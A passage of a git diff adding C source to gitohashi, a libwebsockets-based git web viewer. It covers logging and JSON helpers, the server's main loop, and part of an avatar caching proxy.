long)tv.tv_sec * 1000000LL) + tv.tv_usec;\n+}\n+\n+int\n+lwsl_timestamp(int level, char *p, int len)\n+{\n+\ttime_t o_now \u003d time(NULL);\n+\tunsigned long long now;\n+\tstruct tm *ptm \u003d NULL;\n+#ifndef WIN32\n+\tstruct tm tm;\n+#endif\n+\tint n;\n+\n+#ifndef _WIN32_WCE\n+#ifdef WIN32\n+\tptm \u003d localtime(\u0026o_now);\n+#else\n+\tif (localtime_r(\u0026o_now, \u0026tm))\n+\t\tptm \u003d \u0026tm;\n+#endif\n+#endif\n+\n+\tp[0] \u003d '\u005c0';\n+\tfor (n \u003d 0; n \u003c JG2_LLL_COUNT; n++) {\n+\t\tif (level !\u003d (1 \u003c\u003c n))\n+\t\t\tcontinue;\n+\t\tnow \u003d time_in_microseconds() / 100;\n+\t\tif (ptm)\n+\t\t\tn \u003d lws_snprintf(p, len,\n+\t\t\t\t\u0022[%04d/%02d/%02d %02d:%02d:%02d:%04d] %s: \u0022,\n+\t\t\t\tptm-\u003etm_year + 1900,\n+\t\t\t\tptm-\u003etm_mon + 1,\n+\t\t\t\tptm-\u003etm_mday,\n+\t\t\t\tptm-\u003etm_hour,\n+\t\t\t\tptm-\u003etm_min,\n+\t\t\t\tptm-\u003etm_sec,\n+\t\t\t\t(int)(now % 10000), log_level_names[n]);\n+\t\telse\n+\t\t\tn \u003d lws_snprintf(p, len, \u0022[%llu:%04d] %s: \u0022,\n+\t\t\t\t\t(unsigned long long) now / 10000,\n+\t\t\t\t\t(int)(now % 10000), log_level_names[n]);\n+\t\treturn n;\n+\t}\n+\n+\treturn 0;\n+}\n+\n+static const char * const colours[] \u003d {\n+\t\u0022[31;1m\u0022, /* LLL_ERR */\n+\t\u0022[36;1m\u0022, /* LLL_WARN */\n+\t\u0022[35;1m\u0022, /* LLL_NOTICE */\n+\t\u0022[32;1m\u0022, /* LLL_INFO */\n+\t\u0022[34;1m\u0022, /* LLL_DEBUG */\n+\t\u0022[30;1m\u0022, /* LLL_USER */\n+};\n+\n+void lwsl_emit_stderr(int level, const char *line)\n+{\n+\tint n, m \u003d JG2_ARRAY_SIZE(colours) - 1;\n+\tstatic char tty \u003d 3;\n+\tchar buf[50];\n+\n+\tif (!tty)\n+\t\ttty \u003d isatty(2) | 2;\n+\tlwsl_timestamp(level, buf, sizeof(buf));\n+\n+\tif (tty \u003d\u003d 3) {\n+\t\tn \u003d 1 \u003c\u003c (JG2_ARRAY_SIZE(colours) - 1);\n+\t\twhile (n) {\n+\t\t\tif (level \u0026 n)\n+\t\t\t\tbreak;\n+\t\t\tm--;\n+\t\t\tn \u003e\u003e\u003d 1;\n+\t\t}\n+\t\tfprintf(stderr, \u0022%c%s%s%s%c[0m\u0022, 27, colours[m], buf, line, 27);\n+\t} else\n+\t\tfprintf(stderr, \u0022%s%s\u0022, buf, line);\n+}\n+\n+void _lws_logv(int filter, const char *format, va_list vl)\n+{\n+\tchar buf[256];\n+\tint n;\n+\n+//\tif (!(log_level \u0026 filter))\n+//\t\treturn;\n+\n+\tn \u003d vsnprintf(buf, sizeof(buf) - 1, format, vl);\n+\t(void)n;\n+\t/* vnsprintf returns what it would have written, even if truncated */\n+\tif (n \u003e (int)sizeof(buf) - 1)\n+\t\tn \u003d sizeof(buf) - 1;\n+\tif (n \u003e 0)\n+\t\tbuf[n] \u003d '\u005c0';\n+\n+\tlwsl_emit_stderr(filter, buf);\n+}\n+\n+void _jg2_log(int filter, const char *format, ...)\n+{\n+\tva_list ap;\n+\n+\tva_start(ap, format);\n+\t_lws_logv(filter, format, ap);\n+\tva_end(ap);\n+}\n+\n+const char *\n+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5)\n+{\n+\tint n;\n+\n+\tif (!md5) {\n+\t\t*md5_hex_33++ \u003d '?';\n+\t\t*md5_hex_33++ \u003d '\u005c0';\n+\t\treturn md5_hex_33 - 2;\n+\t}\n+\tfor (n \u003d 0; n \u003c 16; n++) {\n+\t\t*md5_hex_33++ \u003d hex[((*md5) \u003e\u003e 4) \u0026 0xf];\n+\t\t*md5_hex_33++ \u003d hex[*(md5++) \u0026 0xf];\n+\t}\n+\t*md5_hex_33 \u003d '\u005c0';\n+\n+\treturn md5_hex_33 - 32;\n+}\n+\n+const char *\n+oid_to_hex_cstr(char *oid_hex, const git_oid *oid)\n+{\n+\tif (!oid) {\n+\t\t*oid_hex++ \u003d 'x';\n+\t\t*oid_hex++ \u003d '\u005c0';\n+\t\treturn oid_hex - 2;\n+\t}\n+\tgit_oid_fmt(oid_hex, oid);\n+\toid_hex[GIT_OID_HEXSZ] \u003d '\u005c0';\n+\n+\treturn oid_hex;\n+}\n+\n+const char *\n+ellipsis_string(char *out, const char *in, int max)\n+{\n+\tif (in !\u003d out) {\n+\t\tout[max - 4] \u003d '\u005c0';\n+\t\tstrncpy(out, in, max - 4);\n+\t\tif (!out[max - 4])\n+\t\t\treturn out;\n+\t} else\n+\t\tif (strlen(in) \u003c (size_t)max - 4)\n+\t\t\treturn out;\n+\n+\tout[max - 4] \u003d '.';\n+\tout[max - 3] \u003d '.';\n+\tout[max - 2] \u003d '.';\n+\tout[max - 1] \u003d '\u005c0';\n+\n+\treturn out;\n+}\n+\n+const char *\n+ellipsis_purify(char *out, const char *in, int max)\n+{\n+\tjg2_json_purify(out, in, max, NULL);\n+\tellipsis_string(out, out, max);\n+\n+\treturn out;\n+}\n+\n+void\n+time_json(const git_time *t, struct jg2_ctx *ctx)\n+{\n+\tCTX_BUF_APPEND(\u0022{ \u005c\u0022time\u005c\u0022: %llu, \u005c\u0022offset\u005c\u0022: %d }\u0022,\n+\t\t (unsigned long long)t-\u003etime, t-\u003eoffset);\n+}\n+\n+void\n+name_email_json(const char *name, const char *email, struct jg2_ctx *ctx)\n+{\n+\tchar e[64], e1[64], md5_hex[33];\n+\n+\tif (!name)\n+\t\tname \u003d \u0022unknown\u0022;\n+\n+\tif (!email)\n+\t\temail \u003d \u0022unknown\u0022;\n+\n+\tmd5_to_hex_cstr(md5_hex, email_md5(ctx-\u003evhost, email));\n+\n+\tCTX_BUF_APPEND(\u0022 \u005c\u0022name\u005c\u0022: \u005c\u0022%s\u005c\u0022, \u005c\u0022email\u005c\u0022: \u005c\u0022%s\u005c\u0022, \u005c\u0022md5\u005c\u0022: \u005c\u0022%s\u005c\u0022 \u0022,\n+\t\t ellipsis_purify(e, name, sizeof(e)),\n+\t\t ellipsis_purify(e1, email, sizeof(e1)), md5_hex);\n+}\n+\n+/* try to parse out Name Name \u003cname@name.com\u003e into name and email */\n+\n+void\n+identity_json(const char *name_email, struct jg2_ctx *ctx)\n+{\n+\tchar name[64], email[64], *p, *p1;\n+\tsize_t len;\n+\n+\tp1 \u003d p \u003d strchr(name_email, '\u003c');\n+\tif (!p || p \u003d\u003d name_email)\n+\t\tgoto try;\n+\n+\tif (p[-1] \u003d\u003d ' ')\n+\t\tp--;\n+\n+\tlen \u003d p - name_email;\n+\tif (len \u003e sizeof(name) - 1)\n+\t\tlen \u003d sizeof(name) - 1;\n+\tstrncpy(name, name_email, len);\n+\tname[len] \u003d '\u005c0';\n+\n+\tp1++;\n+\tp \u003d strchr(p1, '\u003e');\n+\tif (!p)\n+\t\tgoto try;\n+\n+\tlen \u003d p - p1;\n+\tif (len \u003e sizeof(name) - 1)\n+\t\tlen \u003d sizeof(name) - 1;\n+\tstrncpy(email, p1, len);\n+\temail[len] \u003d '\u005c0';\n+\n+\tname_email_json(name, email, ctx);\n+\n+\treturn;\n+\n+try:\n+\tname_email_json(name_email, \u0022\u0022, ctx);\n+}\n+\n+void\n+signature_json(const git_signature *sig, struct jg2_ctx *ctx)\n+{\n+\tCTX_BUF_APPEND(\u0022{ \u005c\u0022git_time\u005c\u0022: \u0022);\n+\ttime_json(\u0026sig-\u003ewhen, ctx);\n+\n+\tCTX_BUF_APPEND(\u0022,\u0022);\n+\tname_email_json(sig-\u003ename, sig-\u003eemail, ctx);\n+\n+\tCTX_BUF_APPEND(\u0022 }\u0022);\n+}\n+\n+void\n+signature_text(const git_signature *sig, struct jg2_ctx *ctx)\n+{\n+\tstruct tm *tm;\n+\tchar dt[96];\n+\n+\ttm \u003d localtime((const time_t *)\u0026sig-\u003ewhen.time);\n+\n+\tCTX_BUF_APPEND(\u0022Author: %s \u003c%s\u003e\u005cn\u0022, sig-\u003ename, sig-\u003eemail);\n+\n+\tif (tm) {\n+\t\t/* like Date: Mon Aug 13 16:49:58 2018 +0800 */\n+\t\tstrftime(dt, sizeof(dt), \u0022%a %h %d %H:%M:%S %Y %z\u0022, tm);\n+\t\tCTX_BUF_APPEND(\u0022Date: %s\u005cn\u0022, dt);\n+\t}\n+}\n+\n+static const char * otype_table[] \u003d {\n+\t\u0022any\u0022,\n+\t\u0022bad\u0022,\n+\t\u0022ext1\u0022,\n+\t\u0022commit\u0022,\n+\t\u0022tree\u0022,\n+\t\u0022blob\u0022,\n+\t\u0022tag\u0022,\n+\t\u0022ext2\u0022,\n+\t\u0022ofs-delta\u0022,\n+\t\u0022ref-delta\u0022\n+};\n+\n+const char *\n+otype_name(git_otype type)\n+{\n+\tsize_t ntype \u003d type + 2;\n+\n+\tif (ntype \u003e\u003d JG2_ARRAY_SIZE(otype_table))\n+\t\treturn \u0022unknown\u0022;\n+\n+\treturn otype_table[ntype];\n+}\n+\n+int\n+jg2_oid_to_ref_names(const git_oid *oid, struct jg2_ctx *ctx,\n+\t\t struct jg2_ref **result, int max)\n+{\n+\tstruct jg2_ref *ref \u003d ctx-\u003ejrepo-\u003eref_list_hash[jg2_oidbin(oid)];\n+\tint n \u003d 0;\n+\n+\twhile (ref) {\n+\t\tif (!git_oid_cmp(\u0026ref-\u003eoid, oid)) {\n+\t\t\t*result++ \u003d ref;\n+\t\t\tif (++n \u003d\u003d max)\n+\t\t\t\treturn n;\n+\t\t}\n+\t\tref \u003d ref-\u003ehash_next;\n+\t}\n+\n+\treturn n;\n+}\n+\n+int\n+jg2_json_oid(const git_oid *oid, struct jg2_ctx *ctx)\n+{\n+\tchar oid_hex[GIT_OID_HEXSZ + 1], pure[32];\n+\tstruct jg2_ref *aliases[8];\n+\tint n, m \u003d 0;\n+\n+\tn \u003d jg2_oid_to_ref_names(oid, ctx, aliases, JG2_ARRAY_SIZE(aliases));\n+\n+\tCTX_BUF_APPEND(\u0022{ \u005c\u0022oid\u005c\u0022: \u005c\u0022%s\u005c\u0022, \u0022\n+\t\t \u0022\u005c\u0022alias\u005c\u0022: [\u0022, oid_to_hex_cstr(oid_hex, oid));\n+\n+\twhile (m \u003c n) {\n+\t\tCTX_BUF_APPEND(\u0022%c\u005c\u0022%s\u005c\u0022\u0022, !m ? ' ' : ',', ellipsis_purify(pure,\n+\t\t\t aliases[m]-\u003eref_name, sizeof(pure)));\n+\t\tm++;\n+\t}\n+\n+\tCTX_BUF_APPEND(\u0022]}\u0022);\n+\n+\treturn 0;\n+}\n+\n+int\n+commit_summary(git_commit *commit, struct jg2_ctx *ctx)\n+{\n+\tchar summary[100];\n+\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022type\u005c\u0022:\u005c\u0022commit\u005c\u0022,\u005cn \u005c\u0022time\u005c\u0022: %llu,\u005cn\u0022\n+\t\t\t\u0022\u005c\u0022time_ofs\u005c\u0022: %llu,\u005cn \u005c\u0022oid_tree\u005c\u0022: \u0022,\n+\t\t\t(unsigned long long)git_commit_time(commit),\n+\t\t\t(unsigned long long)git_commit_time_offset(commit));\n+\n+\tjg2_json_oid(git_commit_tree_id(commit), ctx);\n+\n+\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022oid\u005c\u0022:\u0022);\n+\n+\tjg2_json_oid(git_commit_id(commit), ctx);\n+\n+\tCTX_BUF_APPEND(\u0022,\u005cn \u005c\u0022msg\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u005cn \u005c\u0022sig_commit\u005c\u0022: \u0022,\n+\t\tellipsis_purify(summary,\n+#if LIBGIT2_HAS_DIFF\n+\t\t\t\tgit_commit_summary(commit),\n+#else\n+\t\t\t\tgit_commit_message(commit),\n+#endif\n+\t\t\t\tsizeof(summary)));\n+\n+\tsignature_json(git_commit_committer(commit), ctx);\n+\n+\tCTX_BUF_APPEND(\u0022,\u005cn\u005c\u0022sig_author\u005c\u0022: \u0022);\n+\n+\tsignature_json(git_commit_author(commit), ctx);\n+\n+\treturn 0;\n+}\n+\n+/* these summaries have restricted sizes below 512 bytes */\n+\n+int\n+generic_object_summary(const git_oid *oid, struct jg2_ctx *ctx)\n+{\n+\tchar summary[100];\n+\tgit_generic_ptr u;\n+\tgit_otype type;\n+\tint e;\n+\n+\tif (!oid)\n+\t\treturn 0;\n+\n+\te \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, oid, GIT_OBJ_ANY);\n+\tif (e \u003c 0)\n+\t\treturn 0;\n+\n+\ttype \u003d git_object_type(u.obj);\n+\tif (type \u003c GIT_OBJ_COMMIT || type \u003e GIT_OBJ_TAG)\n+\t\treturn 0;\n+\n+\tCTX_BUF_APPEND(\u0022{ \u0022);\n+\n+\tswitch (type) {\n+\tcase GIT_OBJ_COMMIT:\n+\t\tcommit_summary(u.commit, ctx);\n+\t\tbreak;\n+\n+\tcase GIT_OBJ_TREE:\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022type\u005c\u0022:\u005c\u0022tree\u005c\u0022\u005cn\u0022);\n+\t\tbreak;\n+\tcase GIT_OBJ_BLOB:\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022type\u005c\u0022:\u005c\u0022blob\u005c\u0022,\u005cn \u005c\u0022size\u005c\u0022:\u005c\u0022%llu\u005c\u0022\u0022,\n+\t\t\t(unsigned long long)git_blob_rawsize(u.blob));\n+\t\tbreak;\n+\tcase GIT_OBJ_TAG:\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022type\u005c\u0022:\u005c\u0022tag\u005c\u0022,\u005cn \u005c\u0022oid_tag\u005c\u0022: \u0022);\n+\n+\t\tjg2_json_oid(git_tag_target_id(u.tag), ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn \u005c\u0022type_tag\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u005cn\u0022\n+\t\t\t\u0022\u005c\u0022msg_tag\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u005cn \u005c\u0022sig_tagger\u005c\u0022: \u0022,\n+\t\t\totype_name(git_tag_target_type(u.tag)),\n+\t\t\tellipsis_purify(summary, git_tag_message(u.tag),\n+\t\t\t\t\tsizeof(summary)));\n+\n+\t\tsignature_json(git_tag_tagger(u.tag), ctx);\n+\t\tbreak;\n+\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n+\tCTX_BUF_APPEND(\u0022}\u0022);\n+\tgit_object_free(u.obj);\n+\n+\treturn 0;\n+}\n+\n+int\n+blob_from_commit(struct jg2_ctx *ctx)\n+{\n+\tgit_tree_entry *te;\n+\tgit_generic_ptr u;\n+\tchar branch[128];\n+\tgit_commit *c;\n+\tgit_oid oid;\n+\tint e;\n+\n+\tif (!ctx-\u003ehex_oid[0])\n+\t\treturn 1;\n+\n+\tctx-\u003ecount \u003d 0;\n+\n+\tif (strlen(ctx-\u003ehex_oid) !\u003d 40 \u0026\u0026\n+\t strncmp(ctx-\u003ehex_oid, \u0022refs/heads/\u0022, 11)) {\n+\t\tstrcpy(branch, \u0022refs/heads/\u0022);\n+\t\tstrncpy(branch + 11, ctx-\u003ehex_oid, sizeof(branch) - 12);\n+\t} else\n+\t\tstrncpy(branch, ctx-\u003ehex_oid, sizeof(branch) - 1);\n+\tbranch[sizeof(branch) - 1] \u003d '\u005c0';\n+\n+\tif (branch[0] \u003d\u003d 'r') {\n+\t\te \u003d git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo, branch);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: unable to lookup ref '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, e);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\t} else\n+\t\tif (git_oid_fromstr(\u0026oid, ctx-\u003ehex_oid)) {\n+\t\t\tlwsl_err(\u0022oid_fromstr failed\u005cn\u0022);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\n+\te \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, \u0026oid, GIT_OBJ_ANY);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022object lookup failed\u005cn\u0022);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tlwsl_err(\u0022object not a commit\u005cn\u0022);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\t/* convert the commit object to a tree object */\n+\n+\tc \u003d u.commit;\n+\tif (git_commit_tree(\u0026u.tree, u.commit)) {\n+\t\tlwsl_err(\u0022git_commit_tree failed\u005cn\u0022);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tgit_commit_free(c);\n+\n+\tif (ctx-\u003esr.e[JG2_PE_PATH]) {\n+\n+\t\tif (git_tree_entry_bypath(\u0026te, u.tree,\n+\t\t\t\t\t ctx-\u003esr.e[JG2_PE_PATH])) {\n+\t\t\tlwsl_err(\u0022%s: git_tree_entry_bypath %s failed\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003esr.e[JG2_PE_PATH]);\n+\n+\t\t\tgoto bail;\n+\t\t}\n+\n+\t\tgit_tree_free(u.tree);\n+\t\tu.obj \u003d NULL;\n+\n+\t\te \u003d git_tree_entry_to_object(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, te);\n+\t\tgit_tree_entry_free(te);\n+\t\tif (e) {\n+\t\t\tlwsl_err(\u0022tree_entry_to_object failed\u005cn\u0022);\n+\n+\t\t\tgoto bail;\n+\t\t}\n+\t}\n+\n+\tctx-\u003eu \u003d u;\n+\n+\t/*\n+\t * /plain/ mode urls are followed by a \u0022path\u0022 element inside the tree.\n+\t *\n+\t * These can consist of either a dir path, which we want to use to\n+\t * restrict where we walk the tree, or a blob path.\n+\t */\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_BLOB) {\n+\t\tlwsl_err(\u0022object is not a blob (%d)\u005cn\u0022, git_object_type(u.obj));\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tctx-\u003ebody \u003d git_blob_rawcontent(u.blob);\n+\tctx-\u003esize \u003d git_blob_rawsize(u.blob);\n+\tctx-\u003epos \u003d 0;\n+\n+\treturn 0;\n+\n+bail:\n+\tif (u.obj) {\n+\t\tgit_object_free(u.obj);\n+\t\tu.obj \u003d NULL;\n+\t}\n+\n+\treturn -1;\n+}\ndiff --git a/src/main.c b/src/main.c\nnew file mode 100644\nindex 0000000..d4a6dde\n--- /dev/null\n+++ b/src/main.c\n@@ -0,0 +1,137 @@\n+/*\n+ * gitohashi - main.c\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u003clibwebsockets.h\u003e\n+#include \u003clibjsongit2.h\u003e\n+\n+#define LWS_PLUGIN_STATIC\n+#include \u0022protocol_gitohashi.c\u0022\n+#include \u0022protocol_avatar-proxy.c\u0022\n+\n+#include \u003cgetopt.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csignal.h\u003e\n+#include \u003ctime.h\u003e\n+\n+#define LWSWS_CONFIG_STRING_SIZE (32 * 1024)\n+\n+static int interrupted;\n+\n+static const struct lws_protocols protocols[] \u003d {\n+\tLWS_PLUGIN_PROTOCOL_GITOHASHI,\n+\tLWS_PLUGIN_PROTOCOL_AVATAR_PROXY,\n+\t{ }\n+};\n+\n+static struct lws_context *\n+context_creation(const char *config_dir)\n+{\n+\tint cs_len \u003d LWSWS_CONFIG_STRING_SIZE - 1;\n+\tstruct lws_context_creation_info info;\n+\tstruct lws_context *context;\n+\tchar *cs, *config_strings;\n+\n+\tcs \u003d config_strings \u003d malloc(LWSWS_CONFIG_STRING_SIZE);\n+\tif (!config_strings) {\n+\t\tlwsl_err(\u0022Unable to allocate config strings heap\u005cn\u0022);\n+\n+\t\treturn NULL;\n+\t}\n+\n+\tmemset(\u0026info, 0, sizeof(info));\n+\n+\tinfo.external_baggage_free_on_destroy \u003d config_strings;\n+\tinfo.pt_serv_buf_size \u003d 8192;\n+\tinfo.options \u003d LWS_SERVER_OPTION_DO_SSL_GLOBAL_INIT |\n+\t\t LWS_SERVER_OPTION_EXPLICIT_VHOSTS |\n+\t\t LWS_SERVER_OPTION_VALIDATE_UTF8;\n+\n+\tlwsl_notice(\u0022Using config dir: \u005c\u0022%s\u005c\u0022\u005cn\u0022, config_dir);\n+\n+\t/*\n+\t * first go through the config for creating the outer context\n+\t */\n+\tif (lwsws_get_config_globals(\u0026info, config_dir, \u0026cs, \u0026cs_len))\n+\t\tgoto init_failed;\n+\n+\tinfo.pcontext \u003d \u0026context;\n+\n+\tcontext \u003d lws_create_context(\u0026info);\n+\tif (context \u003d\u003d NULL) {\n+\t\tlwsl_err(\u0022lws init failed\u005cn\u0022);\n+\t\t/* config_strings freed as 'external baggage' */\n+\t\treturn NULL;\n+\t}\n+\n+\tinfo.protocols \u003d protocols;\n+\n+\tif (lwsws_get_config_vhosts(context, \u0026info, config_dir, \u0026cs, \u0026cs_len)) {\n+\t\tlws_context_destroy(context);\n+\n+\t\treturn NULL;\n+\t}\n+\n+\treturn context;\n+\n+init_failed:\n+\tfree(config_strings);\n+\n+\treturn NULL;\n+}\n+\n+void sigint_handler(int sig)\n+{\n+\tlwsl_err(\u0022signal %d\u005cn\u0022, sig);\n+\tinterrupted \u003d 1;\n+}\n+\n+int main(int argc, const char **argv)\n+{\n+\tint n \u003d 0, logs \u003d LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE | LLL_THREAD;\n+\tstruct lws_context *context;\n+\tconst char *p;\n+\n+\tsignal(SIGINT, sigint_handler);\n+\n+\tif ((p \u003d lws_cmdline_option(argc, argv, \u0022-d\u0022)))\n+\t\tlogs \u003d atoi(p);\n+\n+\tlws_set_log_level(logs, NULL);\n+\n+\tlwsl_user(\u0022Gitohashi - \u0022\n+\t\t \u0022Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\u005cn\u0022);\n+\n+\tcontext \u003d context_creation(\u0022/etc/gitohashi\u0022);\n+\tif (!context) {\n+\t\tlwsl_err(\u0022lws init failed\u005cn\u0022);\n+\t\treturn 1;\n+\t}\n+\n+\twhile (n \u003e\u003d 0 \u0026\u0026 !interrupted) {\n+\t\tn \u003d lws_service(context, 1000);\n+\t\tif (n \u003c 0)\n+\t\t\tlwsl_notice(\u0022lws_service returned %d\u005cn\u0022, n);\n+\t}\n+\n+\tlws_context_destroy(context);\n+\n+\treturn 0;\n+}\ndiff --git a/src/protocol_avatar-proxy.c b/src/protocol_avatar-proxy.c\nnew file mode 100644\nindex 0000000..91158a7\n--- /dev/null\n+++ b/src/protocol_avatar-proxy.c\n@@ -0,0 +1,499 @@\n+/*\n+ * avatar_proxy - unidirectional proxy\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ *\n+ *\n+ * This isn't a generic proxy.\n+ *\n+ * You can request a cache dir be filled by reading things from a specific\n+ * remote URL base + a path, using an api reachable from the protocol name +\n+ * vhost instance. It's the only way to make requests to fill the cache.\n+ *\n+ * Then, separately, you can expose the cache dir as a normal read-only mount\n+ * dir with whatever caching policy you want.\n+ *\n+ * Downstream cache consumers can't request things that aren't already in the\n+ * cache then, removing any worries about being misused to attack the upstream.\n+ */\n+\n+#define LWS_DLL\n+#define LWS_INTERNAL\n+#include \u003clibwebsockets.h\u003e\n+\n+#include \u003cpthread.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cstdlib.h\u003e\n+#include \u003cdirent.h\u003e\n+#include \u003cerrno.h\u003e\n+#include \u003cunistd.h\u003e\n+#include \u003cfcntl.h\u003e\n+\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003csys/stat.h\u003e\n+\n+struct req {\n+\tstruct lws_dll next;\n+\tchar filepath_temp[256];\n+\tchar filepath[192];\n+\tchar urlpath[128];\n+\tint fd;\n+};\n+\n+struct pss_avatar_proxy {\n+\tstruct lws *wsi;\n+\tchar path[128];\n+\tint state;\n+\tint tries;\n+};\n+\n+struct vhd_avatar_proxy {\n+\tstruct lws_context *context;\n+\tstruct lws_vhost *vh;\n+\tconst char *remote_base /*\n+\t\t\t\t * the remote URL being proxied, eg,\n+\t\t\t\t * https://somewhere.com/ ... fetches will only\n+\t\t\t\t * be made to URLs starting with this plus\n+\t\t\t\t * whatever path came in on the request\n+\t\t\t\t */,\n+\t\t *cache_dir;\n+\n+\tpthread_mutex_t lock; /* protect the dlls */\n+\n+\tstruct lws_dll head;\n+\tstruct lws_dll head_waiting;\n+};\n+\n+static const struct lws_protocols protocols[];\n+\n+static int\n+__create_waiting_client_request(struct vhd_avatar_proxy *vhd, struct req *r)\n+{\n+\tstruct lws_client_connect_info i;\n+\tconst char *prot, *opath;\n+\tstruct lws *wsi;\n+\tchar *tmp;\n+\n+\tlws_snprintf(r-\u003efilepath_temp, sizeof(r-\u003efilepath_temp), \u0022%s~%d-%p\u0022,\n+\t\t r-\u003efilepath, (int)getpid(), vhd);\n+\n+\tr-\u003efd \u003d open(r-\u003efilepath_temp, O_RDWR | O_TRUNC | O_CREAT, 0600);\n+\tif (r-\u003efd \u003c 0) {\n+\t\tlwsl_err(\u0022%s: unable to open %s: errno %d\u005cn\u0022, __func__,\n+\t\t\t\tr-\u003efilepath, errno);\n+\t\treturn 1;\n+\t}\n+\n+\tmemset(\u0026i, 0, sizeof(i));\n+\n+\ti.context \u003d vhd-\u003econtext;\n+\ti.ssl_connection \u003d LCCSCF_PIPELINE /* | LCCSCF_ALLOW_SELFSIGNED */;\n+\n+\ttmp \u003d strdup(vhd-\u003eremote_base);\n+\tif (lws_parse_uri(tmp, \u0026prot, \u0026i.address, \u0026i.port, \u0026opath)) {\n+\t\tlwsl_notice(\u0022%s: parse uri %s: failed\u005cn\u0022, __func__, tmp);\n+\t\tfree(tmp);\n+\t\treturn 1;\n+\t}\n+\tif (!strcmp(prot, \u0022https\u0022))\n+\t\ti.ssl_connection |\u003d LCCSCF_USE_SSL;\n+\n+\ti.host \u003d i.address;\n+\ti.origin \u003d i.address;\n+\ti.method \u003d \u0022GET\u0022;\n+\ti.protocol \u003d \u0022avatar-proxy\u0022;\n+\ti.path \u003d r-\u003eurlpath;\n+\ti.vhost \u003d vhd-\u003evh;\n+\ti.alpn \u003d \u0022http/1.1\u0022;\n+\n+\t /*\n+\t * the req is bound to the client fetch request if the client connect\n+\t * initial part below succeeds\n+\t */\n+\ti.userdata \u003d r;\n+\n+\tlws_dll_add_front(\u0026r-\u003enext, \u0026vhd-\u003ehead);\n+\n+\n+\twsi \u003d lws_client_connect_via_info(\u0026i);\n+\tif (wsi) {\n+\t\tlwsl_debug(\u0022%s: requested %s %s:%d %s\u005cn\u0022, __func__, prot,\n+\t\t\t\ti.address, i.port, r-\u003eurlpath);\n+\t\tfree(tmp);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tlwsl_notice(\u0022%s: failed %s %s:%d %s\u005cn\u0022, __func__, prot,\n+\t\t\ti.address, i.port, r-\u003eurlpath);\n+\n+\tfree(tmp);\n+\n+\t/* wasn't able to get started... we have to clean up req */\n+\n+\tlws_dll_remove(\u0026r-\u003enext);\n+\n+\treturn 1;\n+}\n+\n+static int\n+create_waiting_client_requests(struct vhd_avatar_proxy *vhd)\n+{\n+\tif (!vhd-\u003ehead_waiting.next)\n+\t\treturn 0;\n+\n+\tpthread_mutex_lock(\u0026vhd-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhd lock */\n+\n+\t/* on the list of waiting requests? */\n+\n+\tlws_start_foreach_dll_safe(struct lws_dll *, p, p1,\n+\t\t\t\t vhd-\u003ehead_waiting.next) {\n+\t\tstruct req *r \u003d (struct req *)p;\n+\n+\t\t/* switch to the list of active requests */\n+\n+\t\tlws_dll_remove(\u0026r-\u003enext);\n+\n+\t\tif (__create_waiting_client_request(vhd, r)) {\n+\t\t\tfree(r);\n+\t\t}\n+\n+\t} lws_end_foreach_dll_safe(p, 